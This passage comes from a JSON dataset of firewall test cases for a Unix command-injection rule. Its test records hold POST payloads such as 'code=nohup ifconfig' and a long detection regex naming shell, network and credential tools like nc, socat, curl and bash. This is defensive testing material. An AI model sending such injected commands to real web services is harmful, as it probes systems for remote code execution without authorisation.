s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Fixed false positive with `At` at start of string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=nohup ifconfig\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|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:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block `nohup` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=ansible all -m ping\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||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xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?